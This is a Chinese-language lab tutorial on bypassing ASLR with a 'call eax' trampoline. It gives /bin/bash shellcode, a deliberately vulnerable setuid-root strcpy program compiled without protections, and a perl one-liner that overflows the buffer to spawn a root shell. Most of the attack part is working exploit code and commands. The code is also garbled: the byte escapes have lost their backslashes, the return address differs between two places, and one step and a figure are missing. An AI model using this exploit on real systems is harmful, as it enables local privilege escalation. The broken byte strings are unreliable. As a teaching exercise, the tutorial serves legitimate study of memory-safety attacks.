通过"call eax"绕过ASLR
实验原理
前一个缓冲区溢出漏洞实验shellcode的地址采用的静态地址,但是现在的Ubuntu和其他一些Linux系统中,使用地址空间随机化(ASLR)来随机堆(heap)和栈(stack)的初始地址,采用静态地址攻击显得有很大的不足。一种经典的绕过ASLR的方法就是通过程序自身存在的"jmp 寄存器"指令,动态跳转到shellcode,即使程序每次加载的地址不一样,但程序指令间的相对运行不会变。本实验是通过程序本身存在的“call eax”(类似jmp eax)指令跳转到shellcode。
实验环境:
实验楼环境(Ubuntu linux 64位)
实验步骤
1.配置环境
本次实验是在32位环境中完成的,而实验楼ubuntu是64位,所以先下载安装32位的库。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
通过linux32
命令进入32位linux环境。
打开ASLR:
2.shellcode
在前一次实验已经描述过什么是shellcode和它的作用。下面直接贴出shellcode的C版本代码:
#include <stdio.h>
int main(int argc, char **argv) {
char *name[2];
name[0] = "/bin/bash";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
shellcode怎么来的: shellcode是将上面C程序对应的汇编代码通过objdump获取其二进制代码得到的。
汇编版本:
xor %edx,%edx;
push %edx;
push $0x68732f2f;
push $0x6e69622f;
mov %esp,%ebx;
push %edx;
push %ebx;
mov %esp,%ecx;
xor %eax,%eax;
movb $0x0b,%al;int $0x80;
二进制代码:
x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80"
3.漏洞程序
/*
badpro.c
*/
#include <stdio.h>
#include <string.h>
void badfunc(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
badfunc(argv[1]);
return 0;
}
上面程序完成的功能是:将main函数的第一个参数(字符串)复制到buffer中。
用下面的命令进行编译链接生成可执行的badpro:
gcc -Wall -g -o badpro badpro.c -z execstack -m32 -fno-stack-protector
给该程序加上root权限,这样攻击成功后就会获得其root权限:
sudo chown root:root badpro
sudo chmod a+s badpro
4.漏洞利用
通过objdump -d badpro | grep *%eax
命令查找程序中是否存在call eax
或者jmp eax
这样的指令。其中“*%eax”是在寄存器前面加星号,代表这是一个绝对调用或者跳转,也就是该命令是对一个绝对地址进行操作,也正是由于这样指令的存在,才使得这种攻击成为可能。
选择0x08048386这个地址,作为跳板,得到最终的exploit的内容:ShellCode(N) + A(524-N) + xdfx83x04x08,这里事先生成的shellcode为25字节,因此填充了499个A。
执行如下命令:
./badpro $(perl -e 'printf "x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80" . "A"x499 ."x86x83x04x08"')
/*
perl -e 是perl在命令行中执行的命令;printf是将后面紧跟的字符串写入标准输出流;“A”x499是产生499个A。
*/
从上图可以看出,我们已经获得了root权限。成功!